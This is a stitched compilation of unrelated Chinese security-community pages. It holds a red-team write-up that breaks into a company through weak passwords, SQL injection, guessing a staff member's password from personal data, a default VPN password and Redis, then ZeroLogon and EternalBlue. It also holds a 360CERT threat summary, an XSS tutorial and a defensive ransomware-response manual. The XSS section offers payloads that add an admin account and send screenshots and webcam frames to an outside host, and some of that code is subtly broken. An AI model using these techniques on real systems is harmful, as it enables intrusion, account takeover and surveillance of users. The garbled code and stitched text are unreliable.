* [https://github.com/malwarekiwi/Public-Content/raw/master/Global%20Perspective%20of%20the%20SideWinder%20APT.pdf](http://https://github.com/malwarekiwi/Public-Content/raw/master/Global%20Perspective%20of%20the%20SideWinder%20APT.pdf "https://github.com/malwarekiwi/Public-Content/raw/master/Global%20Perspective%20of%20the%20SideWinder%20APT.pdf")
* * * | 社区文章 |
# 前言
这是本系列第二篇文章，依然是某省HVV中的红队经历，这次的目标是某著名饮料企业。
[上一篇](https://xz.aliyun.com/t/11186
"上一篇")写的有点水，更像是成果展示了，我这次着重写外网打点的整个思路流程。PS:对于上一篇，已经稍微补充了一些，但可能还是不够丰满，主要原因是渗透过程确实简单，另一个原因是当时进入内网过程比较敏感，不太方便多说(还想毕业)。
这次的整个流程大概是：信息收集->SSO弱口令->源码泄露->SQL注入->密码复用->VPN进入内网，都是很基础的操作，组合拳打起来进的内网。
转载请注明出处，谢谢。
# 1.信息收集+SSO弱口令
首先子域名爆破，找到一个sso.example.com.cn（以下都用example代替），网站的title是“xxx集团单点登录系统”，登录不需要验证码，直接丢进burp开始爆破。我的习惯是先[常见用户名+常见密码]爆一下，不行的话再[常见人名+123456等密码爆一下]，实在不行再考虑[常见人名+常见密码]。
很幸运，只用123456我们就得到了几十个能登录的用户名，比如litao、wangwei、zhangkai、liupeng等。
此外我们通过子域名爆破还找到了多个使用单点登录系统的网站，如网络学院、培训系统、桶装水、运输系统、销售系统等。
首先看了下上述网站有没有漏洞可以传马，网络学院可以上传用户的照片，但是会强制转换成png类型；桶装水、运输系统等都是用flash写的，看起来相当久远了，先忽略。
唯独培训系统，登进去空白一篇，只有几个侧边栏按钮可以点击。当时也觉得是个废弃的系统，也先不管。
# 2.人事APP
从子域名爆破的信息里找到了app.example.com.cn，在虚拟机安装其安卓版本的app之后，发现也可以用单点登录系统来登录。
登录后可以查看自己的身份信息、工资信息等，最有趣的是一个公司的通讯录，写着工号、部门、职位等。
抓了下app的包，涉及的接口及扫到的其他接口都没有漏洞，先搁置。
# 3.源码泄露
别的路子没打通，又回来看1中提到的培训系统。右键查看源码，去github搜了下，找到了当时开发的源代码，同时还有一些内网的地址和服务配置密码等，简单审计发现这个系统是需要一定权限才能显示更多信息。
接着从2中招可能具有权限的用户(且弱口令)来登录，最后找到一个某部门的主管登录后可以显示培训系统的内容。
# 4.SQL注入
从3登录的系统，简单测了下某几个接口，发现某个培训数据筛选的接口存在SQL注入。
直接丢进sqlmap一把梭。发现有这三个库：
[*] information_schema
[*] pg_catalog
[*] public
select version(): 'PostgreSQL 11.3 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-36), 64-bit'
应该是个PostgreSQL，且主要的public库里有一千多张表，大约15G的数据。
简单翻了下，有面试、培训、奖金、生产等的业务信息。最有趣的是面试库，里面明文存储着密码。
# 5.招聘系统
于是直接访问其招聘系统apply.example.com.cn，使用注入到的密码进行登录。
基本都能登上，除了详细的个人信息外(身份证、住址、联系方式、学校学历、简历PDF)，还会显示面试结果，即是否通过。
现在我们的目标是进入内网，需要找具有vpn权限的人。我们按照【岗位较高+入职时间晚+行政或IT岗】从2中通讯录筛选人员，然后与4得到的密码交叉对比，找到能登上招聘系统的人。
最终找到某高级别用户的姓名是张三丰，密码是zhang0612(不是其真实姓名、密码，仅供示意)，可以登录上招聘系统，看到更详细的个人信息。
# 6.[重点]猜密码
目前的信息有：
姓名：张三丰
老密码：zhang0612
我们构造其公司邮箱[email protected]登录公司的VPN，未果。登录邮箱，未果。
使用招聘系统找到的身份证号可知生日为199x0612，我们查到其农历生日为0518，于是开始猜现在的密码。
猜的过程基于几个 **假设** ：
**1.公司VPN或邮箱密码一般要求比较严格，需要有大小写字母和符号
2.一个人喜欢将自己的常见密码进行变形，以满足高要求。如小写变大写，加!@#等符号，公历生日换农历等。**
构造出以下密码：
zhang0612! zhang0612@ zhang0612# Zhang!0612 Zhang@0612 Zhang#0612 zhang0518!
zhang0518@ zhang0518# Zhang!0518 Zhang@0518 Zhang#0518 等等。
最终使用[email protected]和Zhang0518!登上了公司的邮箱，但没有登上VPN。
# 7.VPN密码
简单看了看邮箱(未看敏感商业信息)，发现了IT发的几封很有趣的邮件。
大致就是VPN密码默认aaaa1111，账号是工号。为了配合HVV，登录后需要改成强密码。
IT，听我说谢谢你。
我们这位大哥有没有改成强密码呢？好巧，没登录过所以还是aaaa1111。
# 8.使用VPN进入内网
用上面的工号和默认密码登录后，看到IT很贴心地为我们开放了所有网段的权限且部分标明了用途。
首先要找一台机器当做跳板，因为VPN比较慢而且经常异地登录的话很可疑。扫了下常见的漏洞，发现有一台是redis可以直接写公钥，写完登进去发现不出网但是ping是通的。我这边搭icmp隧道从来没成功过，于是果断换目标。
又找到一台redis是服务公网环境的，可以出网，于是用这台当做后续攻击的跳板。
借助这台跳板机发现内网各段没有任何的隔离，而且存在ZeroLogon和永恒之蓝等漏洞，脚本小子工具启动，点一点就把分数刷满了。
# 总结
当时算是第一次参加HVV实战，还没有掌握一些可以直接RCE的漏洞利用方式，而是被迫用了这样的“组合拳”来进内网，虽然过程很有趣但效率还是很低。
给防御人员提一点小小的建议：
* 弱口令一定要改完
* 不用的旧网站都关掉
* 密码不要明文存储
* 数据库做好分离
* 邮箱和VPN等重要资产设定2FA
* VPN尽量不开放给非必要人员
* 陈年高危漏洞修一修
这边还有不少之前渗透的有趣经历，最近找暑期实习整得身心俱疲，等有机会再接着分享:( | 社区文章 |
# 360CERT《网络安全十月月报》
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
当前，随着数字化浪潮的不断加快，网络空间博弈上升到全新高度。潜在的漏洞风险持续存在，全球各类高级威胁层出不穷。洞悉国内外网络安全形势，了解网络安全重要漏洞是建设好自身安全能力的重要基石。在此背景下，360CERT推出《网络安全月报》，总结本月国内外安全漏洞、网络安全重大事件、恶意软件攻击态势、移动安全情况等。每个章节中都具备总结性文字、重点罗列、图表分析等展现形式，方便读者了解本月网络安全态势。
## 目录预览
## 网络安全月度综述
### 安全漏洞
2021年10月，360CERT共收录31个漏洞，其中严重7个，高危20个，中危3个，低危1个。主要漏洞类型包含身份验证绕过、代码执行、内存越界写、缓冲区溢出等。涉及的厂商主要是Apache
、Adobe、Apple、Cisco、QNAP、Windows等。
### 安全事件
本月收录安全事件236项，话题集中在数据泄露、恶意程序、网络攻击方面，涉及的组织有：Microsoft、Google、Twitter、Facebook、Apple、FBI、YouTube等。涉及的行业主要包含IT服务业、制造业、金融业、政府机关及社会组织、医疗行业、交通运输业等。
### 恶意程序
勒索病毒传播至今，360反勒索服务已累计接收到上万勒索病毒感染求助。随着新型勒索病毒的快速蔓延，企业数据泄露风险不断上升，数百万甚至上亿赎金的勒索案件不断出现。勒索病毒给企业和个人带来的影响范围越来越广，危害性也越来越大。360安全大脑针对勒索病毒进行了全方位的监控与防御，为需要帮助的用户提供360反勒索服务。
2021年10月，全球新增的活跃勒索病毒家族有:MacwLocker、DeepBlueMagic、yanluowang、Cring、Spook、BronyaHaxxor、Mallox等勒索病毒家族，其中MacwLocker是Evil
Corp网络犯罪团伙为逃避美国制裁而更名的勒索软件；yanluowang是一款国内未知团伙创建的针对国外企业进行攻击的勒索软件；Spook是本月一款新增的双重勒索软件，在其数据泄露网站已展示37个受害者；本月针对国内用户进行攻击的YourData以及BeijingCrypt两个家族异常活跃。
## 本月重要漏洞
* CVE-2021-42013: Apache HTTP Server 路径穿越漏洞
* 2021-10 补丁日: 微软多个漏洞
* CVE-2021-42340: Apache Tomcat 拒绝服务漏洞
* 2021-10 补丁日: Oracle多个产品漏洞
* CVE-2021-22205：Gitlab 远程命令执行漏洞
## 本月重要事件
* NOBELIUM组织的新供应链攻击活动
* 阿拉巴马州斯普林希尔医疗中心婴儿因网络攻击死亡
* 抖音可能成为黑客对儿童发动攻击的有力工具
* Twitter上出现针对网络安全研究人员的攻击
* 微软声称伊朗黑客攻击美国国防科技公司
* 微软在8月份抵御了创纪录的 2.4 Tbps 的 DDoS攻击
* 珠宝商Graff被Conti攻击，包括特朗普和贝克汉姆在内的名人客户的数据面临风险
* WordPress插件漏洞可导致删除站点
## 本月勒索病毒关键词
* hauhitec
* 520
* devos
* eking
* Makop
* tisc
* GlobeImposter-Alpha666qqz
* Mallox
* LockBit
* CryLock
## 月报部分节选段落
* 10月25日前后开始有黑产组织成规模利用Office漏洞CVE-2021-40444发起攻击，这也是首次发现该漏洞被现成规模利用，攻击者主要以“订单、文档”等标题诱导目标用户打开文档，之后利用CVE-2021-40444调用本地协议.wsf执行压缩包中的脚本，这不同于常见的调用.cpl协议完成CVE-2021-40444漏洞利用。
* 本月通过匿隐僵尸网络进行传播的YourData勒索病毒有大幅度上涨；BeiJingCrypt勒索病毒家族的最新变种“.520”感染量呈现上升态势；国内新增的Mallox勒索病毒通过SQLGlobeImposter渠道进行传播。
* 最近，TikTok中的游戏陷入恶意广告活动。黑客的恶意软件伪装成TikTok上Fake Among Us和Steam版本的游戏，即使是TikTok上最新的游戏玩家也会受到攻击。2020年针对游戏行业的网络应用攻击增加了340%。父母应该教会儿童具有足够的安全意识，以避免这类型的诈骗。
* 去年年初我国疫情爆发初期，CNC组织通过伪造疫情相关的文档以及钓鱼网站对医疗行业发起攻击。今年以来我们曾多次捕获该组织持续对我国进行攻击活动。
## 部分图表信息展示
## 部分内页展示
## 其他相关
月报下载链接：[http://pub-shbt.s3.360.cn/cert-public-file/【360CERT】网络安全十月月报.pdf](http://pub-shbt.s3.360.cn/cert-public-file/%E3%80%90360CERT%E3%80%91%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%8D%81%E6%9C%88%E6%9C%88%E6%8A%A5.pdf)
月报反馈问卷：<https://www.wjx.cn/vj/PykAK1F.aspx>
[](https://p5.ssl.qhimg.com/t01dde03e6449599025.jpg)
报告订阅：<https://www.wjx.top/jq/94378831.aspx>
[](https://p4.ssl.qhimg.com/t0154870fa17ad3aaa0.jpg)
关注360CERT微信公众号 | 社区文章 |
今天就来讲一下大家都熟悉的 xss漏洞的攻击利用。相信大家对xss已经很熟悉了，但是很多安全人员的意识里
xss漏洞危害只有弹窗或者窃取cookie。但是xss还有更多的花式玩法，今天将介绍几种。
**1\. xss攻击添加管理员**
后台触发存储型XSS，网站设置http-only，窃取的cookie无效。那么如何在这种情况下利用xss漏洞。
无法获取cookie，但是我们可以利用xss漏洞，以管理员的权限，添加一个新的管理员。没错，就是让管理员给我们加一个高权限账号。
这里我们会用到 JavaScript和Ajax 技术。 利用xmlhttp 发送一个http请求，在后台发送一个添加管理员的post请求。
JavaScript
var request = false;
if(window.XMLHttpRequest) {
request = new.XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/html');
}
} else if(Window.ActiveXObject) {
var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};
for(var i=0; i<versions.length; i ++){
try{
request = new ActiveXObject(versions[i]);
}catch(e){}
}
}
xmlhttp = request;
add_admin();
function add_admin(){
var url = "/admin/admin_add_user.php"; //添加用户请求地址
var params = "username=xss&passwod=123456&[email protected]&submit=1" //添加用户post数据
xmlhttp.open("POST",url,true);
xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")
xmlhttp.setRequstHeader("Content-length",params.length);
xmlhttp.setRequstHeader("Connection"，"close")
}
* * *
**2, xss截取客户的屏幕**
现在随着技术的进步，前端技术支持的面非常广泛。xss漏洞可以利用html5的 canvas
来进行屏幕的截屏功能，类似于远程控制木马查看对方屏幕功能。这个可以大大的提高对于进一步入侵的信息收集。废话不说直接上代码。
这里需要用到一个js库 [html2canvas.js](http://daimacn.com/html2canvas.js)
JavaScript
document.write("<script src="html2canvas.js\><\/script>"); window.onload=function(){ html2canvas(document.body, { onrendered: function(canvas) { //下面开始把抓取到的屏幕图片代码传输和接收，由于代码非常的长，只能使用postxhr=function(){ var request = false; if(window.XMLHttpRequest){ request = new XMLHttpRequest(); }else if (window.ActiveXObject){ try{ request = new window.ActiveXObject('Microsoft.XMLHTTP'); }catch(e){ } } return request;}(); request = function(method,src,argv,content_type){ xhr.open(method,src,false); if(method=='POST')xhr.setRequestHeader('Content-type',content_type); xhr.send(argv); //发送POST数据 return xhr.responseText;}; attack_a = function(){ var src = "http://xxx.com/xss.php?"; //post接收地址 var argv_0 = "'&screenshot="+canvas.toDataURL(); //post字段名称为screenshot request("POST",src,argv_0,"application/x-www-form-urlencoded");}; attack_a(); } }); }
上面的代码是针对 pc端的截屏，手机端的截屏xss代码有所不同
JavaScript
<script>d=document;v=d.createElement('video');c=d.createElement('canvas');c.width=640;c.height=480;navigator.webkitGetUserMedia({'video':true},function(s){v.src=URL.createObjectURL(s);v.play()},function(){});c2=c.getContext('2d');x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';setInterval(x,5000);</script>
这两种服务端获取到的post数据包是 base64格式的 ，我们只要进行转码即可看到对方的屏幕截图。
**3.xss对移动端的攻击**
现在越来越多的人喜欢用手机查看网页，xss针对手机端的支持也很友好。
这里只针对手机端Firefox浏览器说明。
xss获取对方经纬度代码
JavaScript
<script>navigator.geolocation.getCurrentPosition(function(p){alert('Latitude:'+p.coords.latitude+',Longitude:'+p.coords.longitude+',Altitude:'+p.coords.altitude);})</script>
xss获取电池状态的代码，这里需要用到[JavaScript _Battery_
API](https://developer.mozilla.org/en-US/docs/Web/API/Battery_Status_AP)
JavaScript
<svg onload=alert(navigator.battery.level)><svg onload=alert(navigator.battery.dischargingTime)><svg onload=alert(navigator.battery.charging)>
更多xss猥琐玩法欢迎交流，文章若有错误请留言告知~ | 社区文章 |
# 勒索病毒应急响应 自救手册（第二版）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：360企业安全安服团队
## 编写说明
勒索病毒，是伴随数字货币兴起的一种新型病毒木马，通常以垃圾邮件、服务器入侵、网页挂马、捆绑软件等多种形式进行传播。机器一旦遭受勒索病毒攻击，将会使绝大多数文件被加密算法修改，并添加一个特殊的后缀，且用户无法读取原本正常的文件，对用户造成无法估量的损失。勒索病毒通常利用非对称加密算法和对称加密算法组合的形式来加密文件，绝大多数勒索软件均无法通过技术手段解密，必须拿到对应的解密私钥才有可能无损还原被加密文件。黑客正是通过这样的行为向受害用户勒索高昂的赎金，这些赎金必须通过数字货币支付，一般无法溯源，因此危害巨大。
自2017年5月WannaCry（永恒之蓝勒索蠕虫）大规模爆发以来，勒索病毒已成为对政企机构和网民直接威胁最大的一类木马病毒。近期爆发的Globelmposter、GandCrab、Crysis等勒索病毒，攻击者更是将攻击的矛头对准企业服务器，并形成产业化；而且勒索病毒的质量和数量的不断攀升，已经成为政企机构面临的最大的网络威胁之一。
为帮助更多的政企机构，在遭遇网络安全事件时，能够正确处置突发的勒索病毒，及时采取必要的自救措施，阻止损失扩大，为等待专业救援争取时间。360安服团队结合1000余次客户现场救援的实践经验，整理了《勒索病毒应急响应自救手册》，希望能对广大政企客户有所帮助。
## 第一章 常见勒索病毒种类介绍
自2017年“永恒之蓝”勒索事件之后，勒索病毒愈演愈烈，不同类型的变种勒索病毒层出不穷。
勒索病毒传播素以传播方式块，目标性强著称，传播方式多见于利用“永恒之蓝”漏洞、爆破、钓鱼邮件等方式传播。同时勒索病毒文件一旦被用户点击打开，进入本地，就会自动运行，同时删除勒索软件样本，以躲避查杀和分析。所以，加强对常见勒索病毒认知至关重要。如果在日常工作中，发现存在以下特征的文件，需务必谨慎。由于勒索病毒种类多至上百种，因此特整理了近期流行的勒索病毒种类、特征及常见传播方式，供大家参考了解：
### WannaCry勒索
2017年5月12日，WannaCry勒索病毒全球大爆发，至少150个国家、30万名用户中招，造成损失达80亿美元。WannaCry蠕虫通过MS17-010漏洞在全球范围大爆发，感染了大量的计算机，该蠕虫感染计算机后会向计算机中植入敲诈者病毒，导致电脑大量文件被加密。受害者电脑被黑客锁定后，病毒会提示需要支付相应赎金方可解密。
常见后缀：wncry
传播方式：永恒之蓝漏洞
特征： 启动时会连接一个不存在url
创建系统服务mssecsvc2.0
释放路径为Windows目录
### GlobeImposter勒索
2017年出现，2018年8月21日起，多地发生GlobeImposter勒索病毒事件，攻击目标主要是开始远程桌面服务的服务器，攻击者通过暴力破解服务器密码，对内网服务器发起扫描并人工投放勒索病毒，导致文件被加密多个版本更新，并常通过爆破RDP后手工投毒传播，暂无法解密。
常见后缀：auchentoshan、动物名+4444
传播方式：
* RDP爆破
* 垃圾邮件
* 捆绑软件
特征：释放在%appdata%或%localappdata%
### Crysis/Dharma勒索
最早出现在2016年，在2017年5月万能密钥被公布之后，消失了一段时间，但在2017年6月后开始继续更新。攻击方法同样是通过远程RDP爆力破解的方式，植入到用户的服务器进行攻击，其加密后的文件的后缀名为.java，由于CrySiS采用AES+RSA的加密方式，最新版本无法解密。
常见后缀：【id】+勒索邮箱+特定后缀
传播方式：RDP爆破
特征：勒索信位置在startup目录
样本位置在%windir%\System32
Startup目录
%appdata%目录
### GandCrab勒索
2018年年初面世，作者长时间多个大版本更新，仅仅半年的时候，就连续出现了V1.0,V2.0,V2.1,V3.0,V4.0等变种，病毒采用Salsa20和RSA-2048算法对文件进行加密，并修改文件后缀为.GDCB、.GRAB、.KRAB或5-10位随机字母，并将感染主机桌面背景替换为勒索信息图片。GandCrab5.1之前版本可解密，最新GandCrab5.2无法解密。
常见后缀：随机生成
传播方式：
* RDP爆破
* 钓鱼邮件
* 捆绑软件
* 僵尸网络
* 漏洞传播
* ……
特征：
* 样本执行完毕后自删除
* 修改操作系统桌面背景
* 后缀-MANUAL.txt
* 后缀-DECRYPT.txt
### Satan勒索
撒旦（Satan）勒索病毒首次出现2017年1月份。该勒索进行Windows&Linux双平台攻击，最新版本攻击成功后，会加密文件并修改文件后缀为“evopro”。除了通过RDP爆破外，一般还通过多个漏洞传播。
常见后缀：
* evopro
* sick
* …
传播方式：
* 永恒之蓝漏洞
* RDP爆破
* JBOSS系列漏洞
* Tomcat系列漏洞
* Weblogic组件漏洞
* ……
特征：最新变种evopro暂时无法解密，老的变种可解密
### Sacrab勒索
Scarab（圣甲虫）恶意软件于2017年6月首次发现。此后，有多个版本的变种陆续产生并被发现。最流行的一个版本是通过Necurs僵尸网络进行分发，使用Visual
C语言编写而成，又见于垃圾邮件和RDP爆破等方式。在针对多个变种进行脱壳之后，我们发现有一个2017年12月首次发现的变种Scarabey，其分发方式与其他变种不同，并且它的有效载荷代码也并不相同。
常见后缀：
* .krab
* .Sacrab
* .bomber
* .Crash
* ……
传播方式：
* Necurs僵尸网络
* RDP爆破
* 垃圾邮件
* ……
特征：样本释放%appdata%\Roaming
### Matrix勒索
目前为止变种较多的一种勒索，该勒索病毒主要通过入侵远程桌面进行感染安装，黑客通过暴力枚举直接连入公网的远程桌面服务从而入侵服务器，获取权限后便会上传该勒索病毒进行感染，勒索病毒启动后会显示感染进度等信息，在过滤部分系统可执行文件类型和系统关键目录后，对其余文件进行加密，加密后的文件会被修改后缀名为其邮箱。
常见后缀：
* .GRHAN
* .PRCP
* .SPCT
* .PEDANT
* …
传播方式：RDP爆破
### STOP勒索
同Matrix勒索类似，Stop勒索病毒也是一个多变种的勒索木马，一般通过垃圾邮件、捆绑软件和RDP爆破进行传播，在某些特殊变种还会释放远控木马。
常见后缀：
* .TRO
* .djvu
* .puma
* .pumas
* .pumax
* .djvuq
* …
特征：
* 样本释放在%appdata%\local\<随机名称>
* 可能会执行计划任务
### Paradise勒索
Paradise勒索最早出现在2018年7月下旬，最初版本会附加一个超长后缀如：（_V.0.0.0.1{[email protected]}.dp）到原文件名末尾，在每个包含加密文件的文件夹都会生成一个勒索信如下：
而后续活跃及变种版本，采用了Crysis/Dharma勒索信样式图弹窗如：
勒索信如下样式
加密文件后缀：文件名_%ID字符串%_{勒索邮箱}.特定后缀
特征：将勒索弹窗和自身释放到Startup启动目录
## 第二章 如何判断病情
如何判断服务器中了勒索病毒呢？勒索病毒区别于其他病毒的明显特征：加密受害者主机的文档和数据，然后对受害者实施勒索，从中非法谋取私利。勒索病毒的收益极高，所以大家才称之为“勒索病毒”。
勒索病毒的主要目的既然是为了勒索，那么黑客在植入病毒完成加密后，必然会提示受害者您的文件已经被加密了无法再打开，需要支付赎金才能恢复文件。所以，勒索病毒有明显区别于一般病毒的典型特征。如果服务器出现了以下特征，即表明已经中了勒索病毒。
### 业务系统无法访问
2018年以来，勒索病毒的攻击不再局限于加密核心业务文件；转而对企业的服务器和业务系统进行攻击，感染企业的关键系统，破坏企业的日常运营；甚至还延伸至生产线——生产线不可避免地存在一些遗留系统和各种硬件难以升级打补丁等原因，一旦遭到勒索攻击的直接后果就是生产线停产。
比如：2018年2月，某三甲医院遭遇勒索病毒，全院所有的医疗系统均无法正常使用，正常就医秩序受到严重影响；同年8月，台积电在台湾北、中、南三处重要生产基地，均因勒索病毒入侵导致生产停摆。
但是，当业务系统出现无法访问、生产线停产等现象时，并不能100%确定是服务器感染了勒索病毒，也有可能是遭到DDoS攻击或是中了其他病毒等原因所致，所以，还需要结合以下特征来判断。
### 电脑桌面被篡改
服务器被感染勒索病毒后，最明显的特征是电脑桌面发生明显变化，即：桌面通常会出现新的文本文件或网页文件，这些文件用来说明如何解密的信息，同时桌面上显示勒索提示信息及解密联系方式，通常提示信息英文较多，中文提示信息较少。
下面为电脑感染勒索病毒后，几种典型的桌面发生变化的示意图。
### 文件后缀被篡改
服务器感染勒索病毒后，另外一个典型特征是：办公文档、照片、视频等文件的图标变为不可打开形式，或者文件后缀名被篡改。一般来说，文件后缀名会被改成勒索病毒家族的名称或其家族代表标志，如：GlobeImposter家族的后缀为.dream、.TRUE、.CHAK等；Satan家族的后缀.satan、sicck；Crysis家族的后缀有.ARROW、.arena等。
下面为电脑感染勒索病毒后，几种典型的文件后缀名被篡改或文件图标变为不可打开的示意图。
当我们看到上述三个现象的时候，说明服务器已经遭到勒索病毒的攻击，此时，如果我们仓促的进行不正确的处置，反而可能会进一步扩大自己的损失。
所以，请保持冷静不要惊慌失措，现在我们需要做的是如何最大化的减少损失，并阻止黑客继续去攻击其他服务器。具体操作步骤请见下一章。
## 第三章 如何进行自救
当我们已经确认感染勒索病毒后，应当及时采取必要的自救措施。之所以要进行自救，主要是因为：等待专业人员的救助往往需要一定的时间，采取必要的自救措施，可以减少等待过程中，损失的进一步扩大。例如：与被感染主机相连的其他服务器也存在漏洞或是有缺陷，将有可能也被感染。所以，采取自救措施的目的是为了及时止损，将损失降到最低。
* ### 正确处置方法
(一) **隔离中招主机**
处置方法
当确认服务器已经被感染勒索病毒后，应立即隔离被感染主机，隔离主要包括物理隔离和访问控制两种手段，物理隔离主要为断网或断电；访问控制主要是指对访问网络资源的权限进行严格的认证和控制。
1. 物理隔离
物理隔离常用的操作方法是断网和关机。
断网主要操作步骤包括：拔掉网线、禁用网卡，如果是笔记本电脑还需关闭无线网络。
2. 访问控制
访问控制常用的操作方法是加策略和修改登录密码。
加策略主要操作步骤为：在网络侧使用安全设备进行进一步隔离，如防火墙或终端安全监测系统；避免将远程桌面服务（RDP，默认端口为3389）暴露在公网上（如为了远程运维方便确有必要开启，则可通过VPN登录后才能访问），并关闭445、139、135等不必要的端口。
修改登录密码的主要操作为：立刻修改被感染服务器的登录密码；其次，修改同一局域网下的其他服务器密码；第三，修改最高级系统管理员账号的登录密码。修改的密码应为高强度的复杂密码，一般要求：采用大小写字母、数字、特殊符号混合的组合结构，口令位数足够长（15位、两种组合以上）。
处置原理
隔离的目的，一方面是为了防止感染主机自动通过连接的网络继续感染其他服务器；另一方面是为了防止黑客通过感染主机继续操控其他服务器。
有一类勒索病毒会通过系统漏洞或弱密码向其他主机进行传播，如WannaCry勒索病毒，一旦有一台主机感染，会迅速感染与其在同一网络的其他电脑，且每台电脑的感染时间约为1-2分钟左右。所以，如果不及时进行隔离，可能会导致整个局域网主机的瘫痪。
另外，近期也发现有黑客会以暴露在公网上的主机为跳板，再顺藤摸瓜找到核心业务服务器进行勒索病毒攻击，造成更大规模的破坏。
当确认服务器已经被感染勒索病毒后，应立即隔离被感染主机，防止病毒继续感染其他服务器，造成无法估计的损失。
(二) **排查业务系统**
处置方法
在已经隔离被感染主机后，应对局域网内的其他机器进行排查，检查核心业务系统是否受到影响，生产线是否受到影响，并检查备份系统是否被加密等，以确定感染的范围。
处置原理
业务系统的受影响程度直接关系着事件的风险等级。评估风险，及时采取对应的处置措施，避免更大的危害。
另外，备份系统如果是安全的，就可以避免支付赎金，顺利的恢复文件。
所以，当确认服务器已经被感染勒索病毒后，并确认已经隔离被感染主机的情况下，应立即对核心业务系统和备份系统进行排查。
(三) **联系专业人员**
在应急自救处置后，建议第一时间联系专业的技术人士或安全从业者，对事件的感染时间、传播方式，感染家族等问题进行排查。
个人中招用户可以：通过360安全卫士的反勒索服务，联系专业人士。用户在进入“360安全卫士”-“反勒索服务”选项后，需要同时开启360文档保护和360反勒索服务。开启这两项服务后，若您被感染勒索病毒，点击“申请服务”按钮即可申请理赔。
政企机构中招客户可以联系：360企业安全集团，全国400应急热线：4008 136 360 转2 转4。
### 错误处置方法
(一) **使用移动存储设备**
错误操作
当确认服务器已经被感染勒索病毒后，在中毒电脑上使用U盘、移动硬盘等移动存储设备。
错误原理
勒索病毒通常会对感染电脑上的所有文件进行加密，所以当插上U
盘或移动硬盘时，也会立即对其存储的内容进行加密，从而造成损失扩大。从一般性原则来看，当电脑感染病毒时，病毒也可能通过U盘等移动存储介质进行传播。
所以，当确认服务器已经被感染勒索病毒后，切勿在中毒电脑上使用U盘、移动硬盘等设备。
(二) **读写中招主机上的磁盘文件**
错误操作
当确认服务器已经被感染勒索病毒后，轻信网上的各种解密方法或工具，自行操作。反复读取磁盘上的文件后反而降低数据正确恢复的概率。
错误原理
很多流行勒索病毒的基本加密过程为：
1. 首先，将保存在磁盘上的文件读取到内存中；
2. 其次，在内存中对文件进行加密；
3. 最后，将修改后的文件重新写到磁盘中，并将原始文件删除。
也就是说，很多勒索病毒在生成加密文件的同时，会对原始文件采取删除操作。理论上说，使用某些专用的数据恢复软件，还是有可能部分或全部恢复被加密文件的。
而此时，如果用户对电脑磁盘进行反复的读写操作，有可能破坏磁盘空间上的原始文件，最终导致原本还有希望恢复的文件彻底无法恢复。
## 第四章 如何恢复系统
感染勒索病毒后，对于政企机构来说，最重要的就是怎么恢复被加密的文件了。一般来说，可以通过历史备份、解密工具或支付赎金来恢复被感染的系统。但是这三种操作都有一定的难度，因此，建议受害者不要自行操作。如果您想恢复系统，请联系专业的技术人员或安全厂商，确保赎金的支付和解密过程正确进行，避免其他不必要的损失。
政企机构中招客户可以联系：360企业安全集团，全国400应急热线：4008 136 360 转2 转4。
### 历史备份还原
如果事前已经对文件进行了备份，那么我们将不会再担忧和烦恼。可以直接从云盘、硬盘或其他灾备系统中，恢复被加密的文件。值得注意的是，在文件恢复之前，应确保系统中的病毒已被清除，已经对磁盘进行格式化或是重装系统，以免插上移动硬盘的瞬间，或是网盘下载文件到本地后，备份文件也被加密。
事先进行备份，既是最有效也是成本最低的恢复文件的方式。
### 解密工具恢复
绝大多数勒索病毒使用的加密算法都是国际公认的标准算法，这种加密方式的特点是，只要加密密钥足够长，普通电脑可能需要数十万年才能够破解，破解成本是极高的。通常情况，如果不支付赎金是无法解密恢复文件的。
但是，对于以下三种情况，可以通过360提供的解密工具恢复感染文件。
1. 勒索病毒的设计编码存在漏洞或并未正确实现加密算法
2. 勒索病毒的制造者主动发布了密钥或主密钥。
3. 执法机构查获带有密钥的服务器，并进行了分享。
可以通过网站（http://lesuobingdu.360.cn/）查询哪些勒索病毒可以解密。例如：今年下半年大规模流行的GandCrab家族勒索病毒，GandCrabV5.0.3及以前的版本可以通过360解密大师进行解密。
需要注意的是：使用解密工具之前，务必要备份加密的文件，防止解密不成功导致无法恢复数据。
### 专业人员代付
勒索病毒的赎金一般为比特币或其他数字货币，数字货币的购买和支付对一般用户来说具有一定的难度和风险。具体主要体现在：
1. 统计显示，95%以上的勒索病毒攻击者来自境外，由于语言不通，容易在沟通中产生误解，影响文件的解密。
2. 数字货币交付需要在特定的交易平台下进行，不熟悉数字货币交易时，容易人才两空。
所以，即使支付赎金可以解密，也不建议自行支付赎金。请联系专业的安全公司或数据恢复公司进行处理，以保证数据能成功恢复。
### 重装系统
当文件无法解密，也觉得被加密的文件价值不大时，也可以采用重装系统的方法，恢复系统。但是，重装系统意味着文件再也无法被恢复。另外，重装系统后需更新系统补丁，并安装杀毒软件和更新杀毒软件的病毒库到最新版本，而且对于服务器也需要进行针对性的防黑加固。
## 第五章 如何加强防护
### 终端用户安全建议
对于普通终端用户，我们给出以下建议，以帮助用户免遭勒索病毒的攻击：
养成良好的安全习惯
1. 电脑应当安装具有云防护和主动防御功能的安全软件，不随意退出安全软件或关闭防护功能，对安全软件提示的各类风险行为不要轻易放行。
2. 使用安全软件的第三方打补丁功能对系统进行漏洞管理，第一时间给操作系统和IE、Flash等常用软件打好补丁，定期更新病毒库，以免病毒利用漏洞自动入侵电脑。
3. 对系统用户密码及时进行更改，并使用LastPass等密码管理器对相关密码进行加密存储，避免使用本地明文文本的方式进行存储。系统相关用户杜绝使用弱口令，同时，应该使用高复杂强度的密码，8位以上尽量包含大小写字母、数字、特殊符号等的混合密码，加强运维人员安全意识，禁止密码重用的情况出现，并定期对密码进行更改。
4. 重要文档数据应经常做备份，一旦文件损坏或丢失，也可以及时找回。
减少危险的上网操作
